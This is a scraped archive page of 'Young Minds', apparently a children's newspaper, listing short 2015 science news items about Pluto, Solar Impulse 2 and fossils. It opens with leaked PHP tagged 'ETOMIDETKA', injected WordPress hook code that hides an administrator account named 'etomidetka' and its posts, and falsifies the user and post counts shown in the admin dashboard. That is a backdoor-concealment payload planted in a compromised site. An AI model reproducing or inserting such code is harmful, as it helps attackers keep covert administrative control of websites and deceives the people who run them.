//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); SCIENCE | YOUNG MINDS | Page 11

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category SCIENCE (Page 11)
Four-legged snake fossil discovered

Four-legged snake fossil discovered

A 113-million-year-old fossil from Brazil has been discovered and  is the first four-legged snake that scientists have ever seen. Several other fossil snakes …

July 24, 2015 | SCIENCE | 0 Comments
NASA probe set to make history at Pluto

NASA probe set to make history at Pluto

The New Horizon spacecraft, which was launched in 2006, has traveled more than 3 billion miles to reach Pluto. But the probe won’t orbit nor land on …

July 14, 2015 | SCIENCE | 0 Comments
Pluto has a heart!

Pluto has a heart!

A heart-shaped feature was viewed on Pluto’s surface in the most detailed photo yet returned by NASA’s New Horizons probe, which has now begun its …

July 14, 2015 | SCIENCE | 0 Comments
Solar Impulse breaks solo record

Solar Impulse breaks solo record

Solar Impulse 2 (SI2), the first solar-powered aircraft in an attempt to fly around the world, after a 118-hour non-stop flight over the Pacific, has broken …

July 8, 2015 | SCIENCE | 0 Comments
Brightest early galaxy named after Ronaldo

Brightest early galaxy named after Ronaldo

Scientists have discovered the brightest galaxy in the early universe that contains the first generation of stars, and have nicknamed it after popular …

June 23, 2015 | SCIENCE | 0 Comments
MT.EVEREST MOVES 3 CMS

MT.EVEREST MOVES 3 CMS

Mt Everest has moved three cms during the recent devastating earthquakes in Nepal but contrary to earlier reports the height of world’s tallest mountain …

June 16, 2015 | SCIENCE | 0 Comments
Solar Impulse 2 gears up for historic Pacific crossing flight

Solar Impulse 2 gears up for historic Pacific crossing flight

Solar Impulse 2 (Si2), the world’s first solar-powered plane is getting ready for its historic flight from China to Hawai this week. Piloted by Andre …

May 6, 2015 | SCIENCE | 0 Comments
Scientists find large water system beneath Antarctica’s dry valleys

Scientists find large water system beneath Antarctica’s dry valleys

An international team of researchers has discovered salty groundwater beneath the Dry Valleys region of the world’s coldest and driest continent. The …

May 4, 2015 | SCIENCE | 0 Comments
Astronomers discover exoplanet

Astronomers discover exoplanet

A team of Australian astronomers has discovered an exoplanet that is orbiting a small star as many as five hundred light-years away. The far away planet in …

May 4, 2015 | SCIENCE | 0 Comments
Out-of-control Russian cargo ship plunging to Earth

Out-of-control Russian cargo ship plunging to Earth

An unmanned Russian cargo spacecraft ferrying supplies to the International Space Station is plunging back to Earth and apparently out of control. The official …

April 30, 2015 | SCIENCE | 0 Comments
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds